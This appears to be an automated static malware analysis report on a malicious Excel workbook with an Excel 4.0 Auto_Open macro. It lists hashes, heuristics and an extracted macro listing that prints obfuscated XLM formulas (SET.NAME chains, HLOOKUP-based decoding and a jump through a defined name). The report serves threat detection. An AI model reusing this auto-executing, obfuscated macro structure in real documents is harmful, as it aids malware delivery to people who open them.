Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ef2cd23d540f712a…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:38:11 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 96085fcfe9b59555befef2da8d7f9877 SHA-1: 6da6dc2be77308bd30e556a2a9e779538fa18ad4 SHA-256: ef2cd23d540f712a153c5351a571a39fdf6f2238c7b41a60c2bb064f0350faab
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6626 bytes
SHA-256: 4f713b60232c00967320ba1877977df95d2a29c9ae8f07f1472c560efeffb2f5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  zQJ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E160 
' 0018     24 LABEL : Cell Value, String Constant - BbTWoQYSc len=0 
' 0018     26 LABEL : Cell Value, String Constant - CmKEzXhxpBj len=0 
' 0018     25 LABEL : Cell Value, String Constant - DImERVIVyL len=0 
' 0018     20 LABEL : Cell Value, String Constant - Ejpom len=0 
' 0018     26 LABEL : Cell Value, String Constant - FhdDswTCsqz len=0 
' 0018     23 LABEL : Cell Value, String Constant - glTnWwRT len=0 
' 0018     21 LABEL : Cell Value, String Constant - HXazVU len=0 
' 0018     22 LABEL : Cell Value, String Constant - JwJTEXL len=0 
' 0018     21 LABEL : Cell Value, String Constant - KIBNvp len=0 
' 0018     20 LABEL : Cell Value, String Constant - lSpjj len=0 
' 0018     22 LABEL : Cell Value, String Constant - mMZoTqw len=0 
' 0018     23 LABEL : Cell Value, String Constant - NDfMZzIH len=0 
' 0018     24 LABEL : Cell Value, String Constant - osCTGvFVa len=0 
' 0018     27 LABEL : Cell Value, String Constant - OusXfapLwkDy len=0 
' 0018     24 LABEL : Cell Value, String Constant - QficOWJem len=0 
' 0018     21 LABEL : Cell Value, String Constant - raBAdf len=0 
' 0018     21 LABEL : Cell Value, String Constant - uoFbCz len=0 
' 0018     26 LABEL : Cell Value, String Constant - WezJQqMWnaU len=0 
' 0018     21 LABEL : Cell Value, String Constant - xZeThS len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZnaMiaxW len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  zQJ,Q59,"",-830.00000000000000000000
'  zQJ,Q60,"",-41.00000000000000000000
'  zQJ,Q61,"",-361.00000000000000000000
'  zQJ,Q62,"",-122.00000000000000000000
'  zQJ,Q63,"",100.00000000000000000000
'  zQJ,Q64,"",830.00000000000000000000
'  zQJ,E73,"SET.NAME("mMZoTqw",0+VALUE("0"))",""
'  zQJ,E77,"SET.NAME("raBAdf",mMZoTqw)",""
'  zQJ,E79,"SET.NAME("glTnWwRT",mMZoTqw)",""
'  zQJ,E84,"SET.NAME("CmKEzXhxpBj",COUNTA(lSpjj))",""
'  zQJ,E86,"SET.NAME("KIBNvp",COUNTA(ZnaMiaxW))",""
'  zQJ,E89,[],""
'  zQJ,E92,"SET.NAME("FhdDswTCsqz","")",""
'  zQJ,E95,"raBAdf",""
'  zQJ,E98,"SET.NAME("Ejpom",HLOOKUP("*",lSpjj,raBAdf,FALSE))",""
'  zQJ,E101,"WezJQqMWnaU",""
'  zQJ,E105,"SET.NAME("HXazVU",mMZoTqw)",""
'  zQJ,E110,[],""
'  zQJ,E112,"HXazVU",""
'  zQJ,E114,"xZeThS",""
'  zQJ,E117,"OusXfapLwkDy",""
'  zQJ,E119,"osCTGvFVa",""
'  zQJ,E121,"SET.NAME("BbTWoQYSc",VALUE(HLOOKUP("*",ZnaMiaxW,osCTGvFVa,FALSE)))",""
'  zQJ,E124,"DImERVIVyL",""
'  zQJ,E127,"FhdDswTCsqz",""
'  zQJ,E131,"glTnWwRT",""
'  zQJ,E136,NEXT(),""
'  zQJ,E141,"JwJTEXL",""
'  zQJ,E143,[],""
'  zQJ,E148,"NDfMZzIH",""
'  zQJ,E153,NEXT(),""
'  zQJ,E158,RETURN(),""
'  zQJ,E182,"SET.NAME("uoFbCz",E73)",""
'  zQJ,E186,"lSpjj",""
'  zQJ,E190,"SET.NAME("ZnaMiaxW",R63C11)",""
'  zQJ,E193,"SET.NAME("NDfMZzIH",200)",""
'  zQJ,E195,"SET.NAME("QficOWJem",5)",""
'  zQJ,E199,uoFbCz(),""
'  zQJ,E200,HALT(),""